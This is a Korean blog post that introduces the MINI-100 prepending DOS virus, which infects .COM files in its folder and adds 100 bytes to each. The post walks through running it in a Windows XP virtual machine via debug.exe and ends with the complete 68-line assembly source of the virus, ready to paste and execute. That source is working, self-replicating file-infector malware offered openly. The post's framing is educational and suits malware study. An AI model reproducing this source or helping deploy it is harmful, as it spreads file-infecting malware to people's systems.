어셈블리어와 악성코드

MINI-100 바이러스에 대하여 알아보기

YaluStar 2018. 11. 25. 21:56

MINI-100 바이러스에 대하여 알아보기


실습 환경

VMware Workstation 15 Player (FREE 버전)

Windows XP Professional SP3 (32Bit)


MINI-100 코드는 제일 밑에 있습니다.


전위형 바이러스확장자가 COM인 파일을 감염시키며, 감염된 파일은 100 Byte의 크기가 증가합니다.


COM 확장자DOS를 사용할 때 사용하던 확장자로 최대 64 KByte의 크기를 가집니다.


전위형 바이러스정상파일 앞에 바이러스가 붙는 형태의 바이러스라고 합니다.

이와 반대로 후위형 바이러스정상파일 뒤에 바이러스가 붙는 형태입니다.





코드를 분석하기 전에 MINI-100 바이러스를 실행해 보겠습니다.

MINI-100 바이러스같은 폴더 안에 있는 COM 확장자를 가진 파일만 감염시키기 때문에 새로 만들기를 통해 “새 폴더”를 만들어줍니다.


그리고 메모장을 실행한 다음 아무거나 내용을 입력합니다.





저장을 하실 때 저장 위치는 “새 폴더”에다가 하고, 파일의 이름은 원하시는 이름으로 입력하신 후 확장자를 COM 확장자로 작성한 후 저장버튼을 클릭합니다.

파일 이름 : gogo.com

파일 형식 : 모든 파일

인코딩 : ANSI

저는 메모장을 이용하여 “gogo.com” 파일을 “새 폴더”안에 생성하였습니다.





그리고 생성한 “gogo.com” 파일의 속성 창을 열어서 파일의 크기를 확인합니다.

디스크 할당 크기는 무시하셔도 됩니다.

“show me the money”라는 텍스트를 입력하였더니 17 Byte의 크기를 가지는 “gogo.com” 파일이 되었습니다. (크기는 입력하신 텍스트에 따라서 다르게 표시됩니다.)

이제 속성 창을 닫아주고 CMD 창을 실행합니다.





CMD 창을 열어준 다음 편리한 작업을 위해 빠른 편집 기능을 이용하겠습니다.

CMD 창에서 명령 프롬프트라는 글씨가 있는 파란 테두리에서 마우스 오른쪽 버튼을 클릭합니다.

메뉴가 나오시면 속성 메뉴를 클릭합니다.





속성 창에서 옵션 탭으로 이동하시면 편집 옵션쪽에 보시면 “빠른 편집 모드”가 있습니다.

빠른 편집 모드를 체크 해주고 확인 버튼을 클릭합니다.

CMD창을 종료 한 후 다시 실행합니다.





“gogo.com” 파일이 있는 폴더의 주소를 클릭한 다음 복사합니다.





CMD창을 열어준 후 폴더를 이동하는 cd 명령어를 이용하여 만들어 준 “새 폴더”로 이동합니다.

이동하실 때는 CMD창에 cd만 입력하신 후 마우스 오른쪽 버튼을 누르면 복사했던 새 폴더의 주소가 붙여넣기 됩니다.

cd C:\Documents and Settings\nan491\바탕 화면\새 폴더

Enter 버튼을 누르면 이동됩니다.





이제 새 폴더로 이동한 CMD창debug 명령어를 입력합니다.

그리고 MINI-100.txt 파일을 실행하여 Ctrl+A (전체 선택)을 한 다음 복사합니다.

CMD창으로 다시 돌아와서 마우스 오른쪽 버튼을 클릭하면 MINI-100.txt에 있는 코드가 자동으로 입력됩니다.

입력이 끝나고 “-”가 나오면 g을 입력하여 작성한 코드를 실행합니다.





새 폴더로 돌아가서 “gogo.com” 파일의 속성 창을 실행합니다.

처음 파일의 크기는 17 Byte였는데 100 Byte가 증가하여 117 Byte가 되었습니다.





프로그램을 한번더 실행하면 또 100 Byte가 증가합니다.






총 68줄의 코드입니다.

MINI-100 바이러스의 코드는 다음과 같습니다.

 

-MINI-100 Code Start-

rsi

100

-a 100

PUSH    SI

PUSH    SI

POP     DI

MOV     AX,CS

INC     AH

MOV     ES,AX

MOV     CL,64

REPZ

MOVSB

POP     SI

MOV     AH,4E

MOV     DX,015E

INT     21

JNB     012D

PUSH    SI

PUSH    ES

PUSH    CS

POP     ES

XCHG    DI,SI

MOV     CX,FE9B

MOV     AX,0125

PUSH    AX

RETF

REPZ

MOVSB

POP     SI

PUSH    ES

PUSH    ES

POP     DS

PUSH    SI

RETF

XCHG    DX,AX

MOV     AX,3D02

MOV     DL,9E

INT     21

XCHG    BX,AX

PUSH    ES

POP     DS

MOV     AH,3F

PUSH    DI

POP     DX

XOR     CX,CX

PUSH    CX

DEC     CX

INT     21

ADD     AX,0064

POP     CX

PUSH    AX

MOV     AX,4200

CWD

INT     21

MOV     AH,40

POP     CX

PUSH    SI

POP     DX

INT     21

PUSH    CS

POP     DS

MOV     AH,3E

INT     21

MOV     AH,4F

JMP     0113

SUB     CH,[6F63]

DB      6D

ADD     BL,AL


-MINI-100 Code End-



이상으로 MINI-100 바이러스에 대하여 알아보았습니다.

감사합니다.


반응형